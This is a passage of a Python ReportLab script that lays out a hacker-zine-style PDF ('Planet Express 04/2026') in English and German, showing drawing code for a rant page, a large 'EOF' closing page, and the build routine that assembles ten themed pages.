    c.setFillColor(NEON_PINK)
    c.setFont(MONO_BOLD, 10)
    c.drawString(px + 10, ry - 15, t["vit_rant_header"])
    c.setStrokeColor(NEON_PINK)
    c.setLineWidth(0.3)
    c.line(px + 10, ry - 20, px + pw - 10, ry - 20)

    rly = ry - 36
    for sign, text, col in t["vit_rant_lines"]:
        c.setFillColor(col)
        c.setFont(MONO_BOLD, 9)
        c.drawString(px + 12, rly, sign)
        c.setFillColor(TEXT)
        c.setFont(SANS, 8.5)
        for line in wrap_text(text, pw - 30, SANS, 8.5, c):
            c.drawString(px + 24, rly, line)
            rly -= 11

    draw_footer(c, page_num, "PLOP // GLAS WASSER // WEITER")


def page_eof(c, t, page_num):
    fill_bg(c, BG_DARK)
    # Nothing fancy. Big EOF. Blinking cursor (represented as block).
    c.setFillColor(TEXT)
    c.setFont(SANS_BOLD, 220)
    c.drawCentredString(PAGE_W / 2, PAGE_H / 2 - 10, "EOF")

    # cursor block to the right of the F
    txt_w = c.stringWidth("EOF", SANS_BOLD, 220)
    cursor_x = PAGE_W / 2 + txt_w / 2 + 15
    cursor_y = PAGE_H / 2 - 10
    c.setFillColor(NEON_GREEN)
    c.rect(cursor_x, cursor_y, 35, 110, fill=1, stroke=0)

    # small footer text
    c.setFillColor(TEXT_DIM)
    c.setFont(MONO, 9)
    c.drawCentredString(PAGE_W / 2, 75, "// " + t["eof_footer"])

    c.setFillColor(TEXT_DIM)
    c.setFont(MONO, 8)
    c.drawCentredString(PAGE_W / 2, 40, f"planet_express_2026_04  //  lang={t['lang']}")


# ================= BUILD =================
def build(t):
    random.seed(1337)
    out = t["filename"]
    c = canvas.Canvas(out, pagesize=A4)
    c.setTitle(f"Planet Express — 04/2026 ({t['lang'].upper()})")
    c.setAuthor("anon0x01")
    c.setSubject(t["tagline_l"])

    pages = [
        (page_cover,    (t,)),
        (page_axios_1,  (t, 2)),
        (page_ctf_1,    (t, 3)),
        (page_ctf_2,    (t, 4)),
        (page_nmap,     (t, 5)),
        (page_terminal, (t, 6)),
        (page_warez,    (t, 7)),
        (page_agent,    (t, 8)),
        (page_vitamins, (t, 9)),
        (page_eof,      (t, 10)),
    ]
    for fn, args in pages:
        fn(c, *args)
        c.showPage()
    c.save()
    print(f"built: {out}  ({os.path.getsize(out)//1024} KiB)")


if __name__ == "__main__":
    build(CONTENT_EN)
    build(CONTENT_DE)
